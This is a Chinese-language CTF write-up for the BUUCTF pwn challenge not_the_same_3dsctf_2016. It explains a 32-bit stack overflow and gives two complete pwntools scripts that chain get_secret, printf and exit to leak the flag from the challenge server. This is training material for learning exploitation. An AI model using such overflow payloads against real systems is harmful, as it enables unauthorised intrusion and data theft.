当前位置: 首页 > news >正文

buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

http://www.jsqmd.com/news/105646/

相关文章:

  • 终极指南:如何免费解锁Sidecar功能,让老旧iPad变身Mac副屏
  • 解锁AMD 780M全部潜能:ROCm优化库实战指南
  • RobotLab机器人强化学习平台完整使用指南
  • GEO 运营商哪家好?2025 年综合实力排名榜:全场景适配力 TOP5 揭晓
  • 手把手教你用SeedVR2实现本地化视频修复与增强
  • Vue3+Element Plus后台管理系统实战应用开发指南
  • ForensicsTool取证工具:从零开始的完整安装配置手册
  • 2025最新测评:SCIFIG科研绘图素材库,如何30分钟搞定“高颜值”SCI机制图
  • 2025最新测评:SCIFIG科研绘图素材库,如何30分钟搞定“高颜值”SCI机制图
  • 终极FreeMarker在线测试器:高效模板调试的免费神器
  • RuoYi-Vue3:现代化企业级后台管理系统开发框架深度解析
  • AI技术如何通过SSE框架提升开发效率与质量
  • 5步实现智能机器人云服务集成:从零到自动化的完整指南
  • CodeCombat游戏化编程教育的破局之道:从教学痛点走向技术赋能
  • OkHttp跨平台网络库:构建多端统一API的高性能连接管理方案
  • 【全球网络安全报告】哪些国家最脆弱?深度解析网络攻击数据与防御力
  • 基于Spring Boot充电桩共享服务管理系统设计与实现(完整源码+万字论文+精品PPT)
  • NanoPi R5S性能测试:开源固件网络加速终极方案
  • XJTU-thesis:西安交通大学学位论文LaTeX模板完全使用手册
  • 基于Spring Boot宠物医院管理系统设计与实现(完整源码+万字论文+精品PPT)
  • ESP32智能手表:开源硬件与可定制软件的完美融合
  • 32、Linux系统基础操作与管理知识解析
  • 29、网络连接配置全攻略
  • 2025年主流获客系统推荐:十大服务商选型指南与深度测评
  • 5分钟搞定Lottie-web动画集成:让前端开发效率提升300%
  • EmotiVoice是否支持增量更新?模型热升级可行性探讨
  • Pyxel编辑器入门指南:零基础掌握像素艺术与游戏创作
  • EmotiVoice是否支持商业用途?许可证条款解读
  • EmotiVoice情感分类体系揭秘:六种基础情绪如何建模?
  • 如何用4步实现实时AI视频生成:Wan2.1模型完整指南